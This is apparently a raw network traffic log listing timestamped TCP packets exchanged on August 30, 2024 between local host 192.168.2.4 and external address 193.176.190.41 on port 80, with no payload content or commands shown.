Aug 30, 2024 18:13:01.692708969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.692718983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.692728996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.692732096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.692742109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.692748070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.692754030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.692759037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.692764997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.692800045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.692826986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.693557024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693567991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693583012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693593979 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693602085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.693603039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693613052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693620920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693627119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.693630934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693640947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693649054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693659067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693660021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.693669081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693677902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693680048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.693686008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693694115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.693706036 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.693713903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.693732977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.694428921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.694441080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.694449902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.694458961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.694468021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.694478035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.694478989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.694530964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.694545031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.752405882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752443075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752454042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752578974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752593994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752605915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752614975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.752618074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752614975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.752655983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.752667904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.752867937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752880096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752890110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752899885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752911091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752917051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.752923012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752934933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.752964020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.752979994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.755646944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.755703926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.755719900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.755732059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.755769014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.755901098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.755912066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.755929947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.755940914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.755948067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.755969048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.755999088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.756184101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756195068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756205082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756215096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756225109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756234884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756234884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.756246090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756257057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756266117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756274939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.756304026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.756829023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756840944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756856918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756866932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756877899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756880999 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.756889105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756899118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756906033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.756913900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756925106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756937981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.756957054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.756995916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.757452965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757463932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757473946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757486105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757496119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757502079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.757507086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757519007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757523060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.757529020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.757551908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.757584095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764170885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764230013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764231920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764241934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764266014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764281034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764357090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764368057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764378071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764390945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764403105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764437914 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764611006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764621973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764631033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764651060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764658928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764667988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764672041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764683008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764693022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.764703035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764722109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.764749050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.765297890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765309095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765320063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765330076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765340090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765350103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.765351057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765363932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765373945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765389919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765399933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765405893 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.765410900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765420914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765430927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.765444994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.765467882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.765500069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.765520096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.766133070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766150951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766160965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766170979 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766180038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.766180992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766191959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766201019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766211033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766211987 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.766221046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766231060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766241074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766246080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.766251087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766262054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766266108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.766273022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.766289949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.766309977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767071009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767086983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767096996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767107010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767117023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767117977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767129898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767143011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767147064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767158031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767165899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767175913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767179966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767187119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767194033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767196894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767209053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767216921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767219067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767231941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767237902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767280102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767287970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767806053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767817974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767828941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767838955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767849922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767860889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767862082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.767906904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.767925978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839099884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839118004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839131117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839168072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839174032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839186907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839193106 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839201927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839211941 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839215040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839225054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839245081 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839260101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839410067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839422941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839454889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839519978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839530945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839559078 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839570999 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839662075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839673996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839689016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839704990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839726925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.839757919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.839772940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842391968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842401981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842447042 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842477083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842509031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842519045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842519045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842546940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842559099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842706919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842716932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842730999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842741013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842744112 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842755079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842778921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.842931986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.842974901 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843043089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843054056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843065023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843074083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843084097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843090057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843095064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843106985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843125105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843135118 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843339920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843350887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843395948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843410015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843420029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843430042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843440056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843449116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843460083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843466043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843472004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843489885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843499899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843528032 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843887091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843898058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843908072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843919039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.843934059 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843945026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.843962908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.844126940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844137907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844146013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844171047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.844182968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.844189882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844199896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844208002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844217062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844227076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844233990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.844237089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.844250917 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.844269037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.844280958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.850845098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.850923061 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.850924969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.850934982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.850963116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.850966930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.850977898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851007938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851058960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851070881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851080894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851090908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851104975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851128101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851320028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851331949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851350069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851358891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851371050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851371050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851391077 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851409912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851646900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851686954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851780891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851792097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851803064 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851814032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851818085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851825953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851831913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.851838112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851850033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.851852894 CEST	49733	80	192.168.2.4	193.176.190.41
